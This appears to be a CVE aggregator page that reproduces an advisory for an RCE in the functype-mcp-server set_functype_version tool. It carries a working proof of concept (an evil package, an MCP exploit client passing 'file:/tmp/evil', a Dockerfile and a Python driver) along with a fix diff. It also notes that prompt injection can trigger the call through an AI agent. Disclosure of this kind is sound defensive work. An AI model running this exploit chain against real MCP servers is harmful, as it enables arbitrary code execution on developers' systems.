CVE-2026-59176

HIGHPre-NVD 7.87.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.8Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

functype-mcp-server: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import

MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import

Summary

The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).

Details

The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).

Source (user input accepted without validation):

// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
  version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),
Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.

Sink 1 — arbitrary package installation:

// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
  const spec = functype@${args.version}
  try {
    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.

Sink 2 — dynamic import executes installed package code:

// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
  const resolvedPath = require.resolve("functype/cli")
  cli = await import(${pathToFileURL(resolvedPath).href}?t=${Date.now()})
}
initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.

Data flow summary:

  • index.ts:115 — MCP tool set_functype_version registered, no auth required.
  • index.ts:119-121 — version accepted as raw z.string() (source).
  • index.ts:123 — functype@${args.version} constructed without sanitization.
  • index.ts:125 — execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install).
  • index.ts:134 — initDocsData(true) called immediately.
  • data.ts:29-30 — require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).

PoC

Step 1 — Prepare the attacker-controlled evil package:

mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF

Step 2 — Clone and build the victim monorepo at the affected version:

TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build

Step 3 — Set up an MCP client to deliver the exploit:

cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk

cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [${process.env.REPO}/packages/mcp-server/dist/bin.js], env: { ...process.env, TRANSPORT_TYPE: "stdio" }, });

await client.connect(transport); const result = await client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF

REPO="$TMP/functype" node exploit.mjs

Step 4 — Verify arbitrary code execution:

cat /pwned.txt

Expected output: RCE: mcp import-time code execution via set_functype_version

Dynamic reproduction (Docker):

The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.

[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import

Recommended remediation:

+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+  const trimmed = version.trim()
+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}

execute: async (args) => {

  • const spec = functype@${args.version}
+ if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = functype@${args.version} try {
  • execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

Impact

This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.

Who is impacted:

  • Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration.
  • Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a set_functype_version call with a file: or npm: alias payload.
  • In non-default TRANSPORT_TYPE=httpStream deployments, network-accessible attackers can exploit this without local access.

The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
#

Build context: reports/npmAI_684_jordanburke__functype/

COPY repo/ -> /workspace/functype/ (victim monorepo)

COPY vuln-001/ -> supporting PoC files

#

Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .

Run: docker run --rm vuln001-functype-rce

#

Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.

FROM node:24-slim

Install pnpm matching the repo's packageManager field ([email protected]).

RUN npm install -g [email protected] --quiet

── Victim workspace ──────────────────────────────────────────────────────────

WORKDIR /workspace/functype COPY repo/ ./

Install all workspace deps. --no-frozen-lockfile avoids hash mismatches

caused by running on a different pnpm minor than the one that generated the

lockfile; the installed versions are still constrained by the lockfile

specifiers for the packages we care about.

RUN pnpm install --no-frozen-lockfile

Build functype first (mcp-server externals functype at build time).

RUN pnpm -F functype build

Build the MCP server binary (output: packages/mcp-server/dist/bin.js).

RUN pnpm -F functype-mcp-server build

── Attacker-controlled evil package ─────────────────────────────────────────

/evil/cli.js writes /pwned.txt when dynamically imported.

COPY vuln-001/evil/ /evil/

── MCP exploit client ────────────────────────────────────────────────────────

WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/[email protected] --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs

Default entrypoint: run the exploit and exit 0 on success.

CMD ["node", "/client/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).

Attack chain:

  • Attacker calls MCP tool set_functype_version with version="file:/evil"
  • Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
  • Evil package is installed as the functype alias in mcp-server's node_modules
  • Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
  • /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)

Usage: python3 poc.py [--build-only]

Requirements:

  • Docker daemon running
  • Build context at parent directory of this file's directory
"""

import subprocess import sys import json import os import argparse

VULN_DIR = os.path.dirname(os.path.abspath(__file__)) REPORT_DIR = os.path.dirname(VULN_DIR) IMAGE_NAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")

BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR] RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]

def run(cmd, timeout=None, **kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, **kwargs, )

def write_result(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python3 {os.path.basename(__file__)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULT_FILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) print(f"[poc] Result written to {RESULT_FILE}") print(f"[poc] verdict={verdict} passed={passed}")

def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run") args = parser.parse_args()

# ── Build ───────────────────────────────────────────────────────────────── print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILD_CMD)}")

try: build = run(BUILD_CMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg) sys.exit(2)

if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) write_result( False, "FAIL", "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1)

print("[poc] Build succeeded.")

if args.build_only: print("[poc] --build-only flag set; skipping run.") sys.exit(0)

# ── Run ─────────────────────────────────────────────────────────────────── print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")

try: run_result = run(RUN_CMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg) sys.exit(2)

stdout = run_result.stdout or "" stderr = run_result.stderr or "" combined = stdout + "\n" + stderr

print("=" * 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {run_result.returncode}") print("=" * 60)

# Success criteria: exit 0 AND exploit succeeded message present exploit_succeeded = "EXPLOIT SUCCEEDED" in combined passed = run_result.returncode == 0 and exploit_succeeded

if passed: # Extract key evidence lines evidence_lines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]

write_result( True, "PASS", ( "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 " 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 ' "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0)

else: # Distinguish failure modes if not exploit_succeeded and run_result.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. " "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 " "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음." ) else: verdict = "FAIL" reason = ( f"컨테이너 종료 코드 {run_result.returncode}. " "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요." )

write_result(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1)

if __name__ == "__main__": main()

CVSS v3
7.8
EG Score
7.8HIGHlow confidence
EG Risk
40
EG Risk 40/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity78% × 45%
Exploitation0% × 40%
Automatability30% × 15%
CISA SSVC: Track at low or medium mission impact; Track or Attend at high (mission-essential systems).
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

CISA SSVCTrack at low or medium mission impact; Track or Attend at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation none (no KEV listing, exploit record or EPSS ≥ 50%) · Automatable unknown (not published for this CVE) · Technical impact partial (CVSS below 9.0). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

September 9, 2026

Last Modified

September 9, 2026

Vendor Advisories for CVE-2026-59176(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFix by version rangeDependents
functype-mcp-server—
  • every version up to 1.4.4: fixed in 1.4.4
—

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-09-28 21:40 UTCEG score recompute
  2. 2026-09-10 00:24 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-59176?
CVE-2026-59176 is a high vulnerability published on September 9, 2026. functype-mcp-server: MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import Summary The setfunctypeversion MCP tool in functype-mcp-server accepts an unconstrained version string,…
When was CVE-2026-59176 disclosed?
CVE-2026-59176 was first published on September 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-59176?
CVE-2026-59176 has a CVSS base score of 7.8 (the CNA's own assessment, by github_m; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-59176?
A fix for CVE-2026-59176 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-59176 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-59176

Explore →

Is Your Infrastructure Affected by CVE-2026-59176?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.